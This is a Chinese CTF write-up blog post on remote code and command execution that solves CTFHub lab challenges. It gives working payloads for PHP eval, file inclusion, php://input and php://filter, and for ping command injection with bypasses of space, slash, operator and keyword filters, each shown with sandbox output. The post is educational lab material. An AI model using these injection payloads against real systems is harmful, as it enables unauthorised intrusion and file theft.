RCE

最新推荐文章于 2024-07-09 17:58:15 发布
最新推荐文章于 2024-07-09 17:58:15 发布
阅读量315 收藏 1
点赞数
分类专栏： CTF 文章标签： linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Derait/article/details/114766255
版权

RCE

文章目录

简介

RCE英文全称：remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因：没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。其实这就是一个接口，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统，这就是RCE漏洞。

eval执行

eval()函数中的eval是evaluate的简称，这个函数的作用就是把一段字符串当作PHP语句来执行，一般情况下不建议使用容易被黑客利用

[ctfhub eval执行]

  1. 打开环境

  2. 构造payload

    /?cmd=system("ls");

  3. 查找根目录，发现flag_19070

    /?cmd=system("ls /");

  4. 输出flag_19070中的flag

    /?cmd=system("cat /flag_19070");

  5. 得到flag

[ctfhub 文件包含]

  1. 打开环境

  2. 根据提示构造payload

    /?file=shell.txt

  3. 使用firefox下的HackBar，用post方式提交

    ctfhub=system("ls");

  4. 进一步查看根目录

    ctfhub=system("ls /");

  5. 发现flag，更改提交

    ctfhub=system("cat /flag");

  6. 得到flag

php://input

协议作用
php://input可以访问请求的原始数据的只读流，在POST请求中访问POST的data部分，在enctype="multipart/form-data" 的时候php://input是无效的。

常规姿势

php://input + [POST DATA]执行php代码

/?file=php://input
[POST DATA部分]
<?php system('ls');?>

[ctfhub php://input]

我们需要使用php://input来构造发送的指令

  1. 打开环境

  2. 根据提示必须使用php://input伪协议，用burp进行抓包，构造请求

    POST /?file=php://input HTTP/1.1
Host: challenge-82ffdefdbea0c3ee.sandbox.ctfhub.com:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 23

<?php system('ls');?>

  3. 查找根目录

    POST /?file=php://input HTTP/1.1
Host: challenge-82ffdefdbea0c3ee.sandbox.ctfhub.com:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 23

<?php system('ls /');?>

  4. 打开flag_12920

    POST /?file=php://input HTTP/1.1
Host: challenge-82ffdefdbea0c3ee.sandbox.ctfhub.com:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 23

<?php system('cat /flag_12920');?>

  5. 得到flag

php://filter

协议作用
php://filter(>=5.0.0)一种元封装器，设计用于数据流打开时的筛选过滤应用。对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、file() 和 file_get_contents()，在数据流内容读取之前没有机会应用其他过滤器。

  • php://filter参数详解

    该协议的参数会在该协议路径上进行传递，多个参数都可以在一个路径上传递。具体参考如下：

    php://filter 参数描述
    resource=<要过滤的数据流>必须项。它指定了你要筛选过滤的数据流。
    read=<读链的过滤器>可选项。可以设定一个或多个过滤器名称，以管道符（*\*）分隔。
    write=<写链的过滤器>可选项。可以设定一个或多个过滤器名称，以管道符（\）分隔。
    <; 两个链的过滤器>任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

  • 可用的过滤器列表（4类）

    此处列举主要的过滤器类型，详细内容请参考：https://www.php.net/manual/zh/filters.php

    字符串过滤器作用
    string.rot13等同于str_rot13()，rot13变换
    string.toupper等同于strtoupper()，转大写字母
    string.tolower等同于strtolower()，转小写字母
    string.strip_tags等同于strip_tags()，去除html、PHP语言标签
    转换过滤器作用
    convert.base64-encode & convert.base64-decode等同于base64_encode()和base64_decode()，base64编码解码
    convert.quoted-printable-encode & convert.quoted-printable-decodequoted-printable 字符串与 8-bit 字符串编码解码
    压缩过滤器作用
    zlib.deflate & zlib.inflate在本地文件系统中创建 gzip 兼容文件的方法，但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
    bzip2.compress & bzip2.decompress同上，在本地文件系统中创建 bz2 兼容文件的方法。
    加密过滤器作用
    mcrypt.*libmcrypt 对称加密算法
    mdecrypt.*libmcrypt 对称解密算法

常规姿势

php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码（针对php文件需要base64编码）

/?file=php://filter/read=convert.base64-encode/resource=

[ctfhub 读取源代码]

  1. 打开环境

  2. 构造payload

    /?file=php://filter/read=convert.base64-encode/resource=/flag

  3. 得到密文后base64解码

  4. 得到flag

PING

ICMP协议是“Internet Control Message Protocol”（因特网控制消息协议）的缩写。它是TCP/IP协议族的一个子协议，用于在IP主机、路由器之间传递控制消息。

ping (Packet Internet Groper)，因特网包探索器，用于测试网络连接量的程序。Ping发送一个ICMP；回声请求消息给目的地并报告是否收到所希望的ICMP echo （ICMP回声应答）。它是用来检查网络是否通畅或者网络连接速度的命令

ping命令通常用来作为网络可用性的检查。ping命令可以对一个网络地址发送测试数据包，看该网络地址是否有响应并统计响应时间，以此测试网络。

ping和ICMP的关系：ping命令发送数据使用的是ICMP协议。

常见的ping命令

1，ping -t 20 www.baidu.com，-t 选项可以设置承载ICMP报文的IP数据包的TTL值

2，ping+IP地址或主机域名

3，ping+IP地址或主机域名+命令参数；

4， ping+命令参数+IP地址或主机域名-c-s-W选项

5，ping -c 4 192.168.1.1表示ping4次

6，ping -s 2048 192.168.1.1表示每次发送2K的ping测试包专至于-W是用于设置每次ping的间隔时间，以秒为单位。

LINUX系统的管道符:

1," ; ": 执行完前面的语句在执行后面的语句。
2.“ | “: 显示后面的语句的执行结果。
3.” || “：当前的语句执行出错时，执行后面的语句。
4.” & “：两条命令都执行，如果前面语句为假则执行后面的语句，前面的语句可真可假。
5.” && “：如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则执行两条命令，前面的语句只能为真。

还有一些管道符：
windows系统是:
1. "  |  " :是直接后面的执行语句
2. “  || ” :如果前面的语句执行失败，则执行后面的语句，前面的语句只能为假才能执行。
3. " & "两条命令都执行，如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。
4. " && ":如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。

ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [-j computer-list] | [-k computer-list] [-w timeout] destination-list

　　-t Ping 指定的计算机直到中断。

　　-a 将地址解析为计算机名。

　　-n count 发送 count 指定的 ECHO 数据包数。默认值为 4。

　　-l length 发送包含由 length 指定的数据量的 ECHO 数据包。默认为 32 字节;最大值是65,527。

　　-f 在数据包中发送"不要分段"标志。数据包就不会被路由上的网关分段。

　　-i ttl 将"生存时间"字段设置为 ttl 指定的值。

　　-v tos 将"服务类型"字段设置为 tos 指定的值。

　　-r count 在"记录路由"字段中记录传出和返回数据包的路由。count 可以指定最少 1 台，最多 9 台计算机。

　　-s count 指定 count 指定的跃点数的时间戳。

　　-j computer-list 利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源)IP 允许的最大数量为 9。

　　-k computer-list 利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)IP 允许的最大数量为 9。

　　-w timeout 指定超时间隔，单位为毫秒。

　　destination-list 指定要 ping 的远程计算机。

[ctfhub 命令注入]

// 关键代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip，
    $cmd = "ping -c 4 {$_GET['ip']}";// 运行命令，可以拼接
    exec($cmd, $res);// 执行cmd，把结果输出到res
}

if ($res) {
    print_r($res);// 打印结果
}
show_source(__FILE__);
?>

  1. 输入127.0.0.1;ls，回显

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => 26573266299619.php
    [2] => index.php
)

  2. 输入127.0.0.1;cat 26573266299619.php，回显（此时直接查看网页源代码也可以得到flag）

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] =>

  3. 输入127.0.0.1;cat 26573266299619.php | base64，回显

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => PD9waHAgLy8gY3RmaHViezMxMGZkYzkzZTYwMjNmY2ZjNTk4NTJiYn0K
)

  4. 解码得到flag

[ctfhub 过滤cat]

思路：代替cat
cat 由第一行开始显示内容，并将所有内容输出

tac 从最后一行倒序显示内容，并将所有内容输出

more 根据窗口大小，一页一页的现实文件内容

less 和more类似，但其优点可以往前翻页，而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n，显示时输出行号

tailf 类似于tail -f

ca\t,就是通过反斜杠，还是可以继续执行cat的功能。

  1. 输入127.0.0.1;ls，回显

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_7786230223425.php
    [2] => index.php
)

  2. 输入127.0.0.1;tac flag_7786230223425.php，回显（此时直接查看网页源代码也可以得到flag）

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] =>

  3. 输入127.0.0.1;tac flag_7786230223425.php | base64，回显

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => PD9waHAgLy8gY3RmaHVie2IzNzAyY2RhYzQxZjExODcyY2M2OTE5OX0K
)

  4. 解码得到flag

[ctfhub 过滤空格]

思路：代替空格
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}来代替空格

  1. 输入127.0.0.1;ls，回显

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_9862517725980.php
    [2] => index.php
)

  2. 输入127.0.0.1;cat<flag_9862517725980.php，回显（此时直接查看网页源代码也可以得到flag）

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] =>

  3. 输入127.0.0.1;base64<flag_9862517725980.php，回显

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => PD9waHAgLy8gY3RmaHVie2YzN2FiMTQyMWVmNTBhOTE2NjRkMDZhNH0K
)

  4. 解码得到flag

[ctfhub 过滤目录分隔符]

思路：代替/

使用cd命令

  1. 输入127.0.0.1;ls，回显

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_is_here
    [2] => index.php
)

  2. 输入127.0.0.1;cd flag_is_here&&ls，回显

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_238142878217828.php
)

  3. 输入127.0.0.1;cd flag_is_here&&cat flag_238142878217828.php，回显（此时直接查看网页源代码也可以得到flag）

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] =>

  4. 输入127.0.0.1;cd flag_is_here&&base64 flag_31678113733210.php，回显

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => PD9waHAgLy8gY3RmaHViezk4M2E5Y2E5ZGI0NmIzZjhmYzdlNGRiN30K
)

  5. 解码得到flag

[ctfhub 过滤运算符]

思路：代替|

file | base64也可以写成base64 file

  1. 输入127.0.0.1;ls，回显

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_99052224315232.php
    [2] => index.php
)

  2. 输入127.0.0.1;cat flag_99052224315232.php，回显（此时直接查看网页源代码也可以得到flag）

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] =>

  3. 输入127.0.0.1; base64 flag_99052224315232.php，回显

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => PD9waHAgLy8gY3RmaHViezk3NjI5NzcxNjk2YTlkNDJjZTY1MGIwM30K
)

  4. 解码得到flag

[ctfhub 综合过滤练习]

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

思路：过滤了|,&,;, ,/,cat,flag,ctfhub

;可用%0a代替

flag可以用正则f*ag

  1. 构造payload

    /?ip=127.0.0.1%0als

    注意这里因为%0a是url编码，所以一定要输在url中，否则%0a会被再次编码

    回显

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_is_here
    [2] => index.php
)

  2. 继续构造payload

    /?ip=127.0.0.1%0als${IFS}f*ag_is_here

    回显

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_186842115718250.php
)

  3. 继续构造payload

    /?ip=127.0.0.1%0acd${IFS}f*ag_is_here%0atac${IFS}f*ag_186842115718250.php

    回显（此时直接查看网页源代码也可以得到flag）

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] =>

  4. 继续构造payload

    /?ip=127.0.0.1%0acd${IFS}f*ag_is_here%0abase64${IFS}f*ag_186842115718250.php

    回显

    Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => PD9waHAgLy8gY3RmaHViezgwZDJhNmYyMTVlZjQ0Y2UxMTFkM2JlOX0K
)

  5. 解码得到flag

Derait
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
向日葵RCE漏洞一键批量自己检测工具
02-25
【标题】：“向日葵RCE漏洞一键批量自我检测工具” 在网络安全领域，"RCE"是"Remote Code Execution"的缩写，意为远程代码执行。这是一个非常严重的安全漏洞，允许攻击者在目标系统上执行任意代码，从而获得与系统...
数据过滤（AND和OR运算符）
tong_0xue的博客
05-25 683
AND 和 OR 运算符 AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。 如果第一个条件和第二个条件都成立，则 AND 运算符显示一条记录。 如果第一个条件和第二个条件中只要有一个成立，则 OR 运算符显示一条记录。 1.AND 运算符实例 （1）为了通过不止一个列进行过滤，可使用AND操作符给WHERE子句附加 条件。 下面的代码给出了一个例子： SELE...
浅谈基础RCE
errorr0
01-22 9364
一、什么是rce 二、能简单利用达到rce目的那些函数 1.eval() 2.assert()断言函数 3.call_user_func()&call_user_func_array()回调函数 4.create_function() 三、命令执行中所需要的函数 ①system() ②passthru() ③exec() 1.直接执行指令 2.间接使用其它函数达到指令的执行目的 ④shell_exec()&反撇(``) 四、命令执行绕过 1.空格过滤 2.过..
机器学习笔记—模式分类（九）非参数技术3（模糊分类、RCE网络法、级数展开逼近）
firemonkeycs的专栏
11-09 426
前序文章： 机器学习笔记—模式分类（一）绪论&贝叶斯决策论 机器学习笔记—模式分类（二）参数判别估计法（最大似然估计和贝叶斯参数估计）1 机器学习笔记—模式分类（三）参数判别估计法2（最大似然估计） 机器学习笔记—模式分类（四）参数判别估计法3（贝叶斯参数估计） 机器学习笔记—模式分类（五）参数判别估计法4（充分统计量、维数、特征线性组合、特征缺失） 六、七、八 同类文章： 暂无 7、模糊分类—不精确知识分类器设计 有时我们对一个问题只有一些不精确的知识如某类...
CTFHub（RCE）
cxiaodi的博客
05-07 1471
ctfhub（RCE专题）
sangfor EDR RCE
03-29
# Sangfor EDR RCE 影响版本: - EDR v3.2.16 - EDR v3.2.17 - EDR v3.2.19 exp: ``` python poc.py url http://10.10.10.0/ ```
fanwei_rce.py
10-11
泛微OA管理系统RCE漏洞利用脚本 使用方法 python3 rce.py http://URL
non_RCE
03-12
在IT行业中，"RCE"通常指的是"远程代码执行"（Remote Code Execution），这是一种非常严重的安全漏洞，允许攻击者在目标系统上执行任意代码。"non_RCE"这个标题可能是暗示我们正在处理一个与RCE漏洞不同的问题或者是...
jumpserver_rce
05-27
jumpserver_rce 根据官方报告，这个漏洞的影响版本如下: < v2.6.2 < v2.5.4 < v2.4.5 = v1.5.9 经过测试v1.5.8的Koko无法进行利用，因为它在创建WebSocket连接之后对用户身份进行了鉴权，具体代码看： 判断...
【Linux】进程间通信——匿名管道
2201_76024104的博客
07-08 720
1.：一个进程需要将它的数据发送给另一个进程，比如我们有两个进程，一个负责获取数据，另一个负责处理数据，这时第一个进程就要将获取到的数据交给第二个进程2.：多个进程间共享同样的资源3.：一个进程需要给其他进程发送消息，通知他们发生了某种事件4.：有些事件需要完全控制另一个进程，比如我们在使用gdb调试时，gdb就是一个进程，它控制了我们要调试的进程进程之前是有互相传递信息的需求，但是，一个进程不可能去另一个进程的地址空间中取信息，所以这就要求操作系统去提供一块交换数据的空间来供进程之间使用。
【linux/shell】linux如何去除字符串中空格
qq_35902025的博客
07-06 321
linux如何去除字符串中空格 tr命令可以用来替换或删除字符 sed是一个流编辑器，可以用来处理文本
nginx安装（win和linux）
f552126506的博客
07-07 534
nginx安装（win和linux）
RedHat运维-LinuxSELinux基础4-端口绑定SELinux上下文
a15735748145a的博客
07-06 606
12. 将60001/tcp端口上的SELinux上下文由http_port_t调整为gopher_port_t的方法是______________________；13. 将60002/tcp端口上的SELinux上下文由gopher_port_t调整为ssh_port_t的方法是______________________；14. 将60003/tcp端口上的SELinux上下文由ssh_port_t调整为http_port_t的方法是_______________________；
保姆级教程：Linux (Ubuntu) 部署流光卡片开源 API
梦染 * 星尘 的博客
07-09 437
流光卡片 API 开源地址 Github：https://github.com/ygh3279799773/streamer-card流光卡片 API 开源地址 Gitee：https://gitee.com/y-gh/streamer-card流光卡片在线使用地址：https://fireflycard.shushiai.com/想要使用 api 调用服务，需要有一个服务器来时刻监听请求。服务器终端界面阅读不方便，因此需要使用宝塔面板进行管理。
【Linux】：程序替换
Yikefore的博客
07-09 530
程序替换的详细介绍以及各种程序替换接口介绍以及使用！
Linux workqueue介绍
l00102795的博客
07-08 697
不是所有的驱动程序都必须有自己的工作队列。驱动程序可以使用内核提供的缺省工作队列。由于这个工作队列由很多驱动程序共享，任务可能会需要比较长一段时间才能开始执行。为了解决这一问题，工作函数中的延迟应该保持最小或者不要延时。
Linux x86_64平台指令替换函数 text_poke_smp/bp
小立仔
07-05 749
Linux x86_64平台指令替换函数 text_poke_smp/bp简介
linux积累-core文件是干啥的
最新发布
hebtu666
07-09 197
核心转储（core dump）文件是一个程序崩溃时所产生的文件，它记录了程序崩溃时的内存状态，包括程序计数器和寄存器内容等信息。此外，如果程序是在特定的库或者环境中运行时崩溃的，你可能还需要安装那些库的调试符号，并在调试器中设置相应的环境变量。： 当你有了核心转储文件后，你可以使用像GDB（GNU调试器）这样的调试器来分析它。首先，你需要确保你有相应的程序的带调试符号的可执行文件。： 根据调试器提供的信息，你可以检查源代码中可能导致问题的部分，例如无效的指针引用、数组越界或其他违反程序逻辑的操作。
fastjson rce
09-16
Fastjson RCE（Remote Code Execution）是指在使用Fastjson这个Java库时，存在远程代码执行的风险。在Fastjson版本1.2.24及以下的版本中，存在RCE问题。这个问题是由于Fastjson引入了AutoType特性，但在安全方面的...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值